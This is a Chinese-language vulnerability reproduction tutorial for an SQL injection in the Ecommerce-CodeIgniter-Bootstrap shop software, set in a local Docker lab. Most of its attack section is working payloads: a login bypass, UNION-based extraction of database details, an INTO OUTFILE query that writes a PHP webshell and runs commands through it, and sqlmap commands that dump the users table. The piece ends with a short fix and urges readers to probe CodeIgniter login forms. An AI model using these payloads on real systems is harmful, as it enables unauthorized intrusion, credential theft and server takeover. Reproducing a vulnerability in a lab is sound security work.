Ecommerce-CodeIgniter-Bootstrap 远程代码执行漏洞复现
漏洞简介
CVE-2026-14637 是一个影响 kirilkirkov Ecommerce-CodeIgniter-Bootstrap 项目的 SQL 注入漏洞,CVSS 评分 8.2,攻击者无需认证即可通过精心构造的请求实现远程代码执行。这玩意儿在野已经有人开始扫了,今天带兄弟们手把手复现一波。
漏洞背景
受影响软件:kirilkirkov Ecommerce-CodeIgniter-Bootstrap(版本 ≤ 13fd… 提交哈希)
CVE 编号:CVE-2026-14637
CVSS 评分:8.2(High)
漏洞类型:SQL 注入 → 远程代码执行
环境搭建
来吧,上 Docker 一把梭:
# 拉取项目源码
git clone https://github.com/kirilkirkov/Ecommerce-CodeIgniter-Bootstrap.git
cd Ecommerce-CodeIgniter-Bootstrap
# 用 Docker 快速部署(需要 docker-compose)
docker-compose up -d
访问 http://localhost:8080,看到登录页面就对了。默认数据库配置在 application/config/database.php,兄弟们可以自己改一下 MySQL 连接信息。
复现步骤
1. 探测注入点
打开 Burp Suite,抓登录包。在 username 字段后面加个单引号:
POST /index.php/auth/login HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username=admin'&password=test123
如果返回 500 错误或者 SQL 语法错误信息,说明存在注入。CodeIgniter 默认开启了 display_errors,所以错误信息会直接回显。
2. 闭合判断
这玩意儿用的是 MySQL,查询语句大概长这样:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
用万能密码测试一下:
username=admin' OR '1'='1' -- -
password=anything
如果成功登录,说明注入点确认。-- - 是 MySQL 的注释符,把后面的 password 条件给吃了。
3. 联合查询注入
接下来用 UNION SELECT 获取数据库信息。先判断字段数:
username=admin' ORDER BY 1-- -
username=admin' ORDER BY 2-- -
...
一直试到报错为止。这个表有 5 个字段,所以:
username=admin' UNION SELECT 1,2,3,4,5-- -
页面会显示 2 和 3 的位置,说明这两个字段有回显。
4. 获取数据库信息
username=admin' UNION SELECT 1,database(),user(),4,5-- -
返回 ecommerce_db 和 root@localhost。好家伙,root 权限,那就可以直接写 shell 了。
5. 写入 Webshell(RCE)
MySQL root 权限下,用 INTO OUTFILE 写 shell:
username=admin' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -
注意路径要写对。Docker 环境里,CodeIgniter 的根目录是 /var/www/html/。
访问 http://localhost:8080/shell.php?cmd=id,返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功 getshell!
6. 自动化利用(sqlmap)
手工搞完,再用 sqlmap 扫一下确认:
sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --level=3 --risk=2 --dbs
sqlmap 会检测到 username 参数存在 time-based blind 注入,直接 dump 数据:
sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --dump -T users
总结
CVE-2026-14637 就是一个典型的 CodeIgniter 框架 SQL 注入漏洞,因为开发者图省事直接拼接 SQL 语句导致的。从注入探测到 getshell,全程不到 5 分钟,root 权限写 shell 更是直接起飞。兄弟们搞渗透测试的时候,看到 CodeIgniter 项目先测登录接口,十有八九能捡到洞。修复方案也简单,用框架自带的 Query Builder 就完事了,别自己手写 SQL。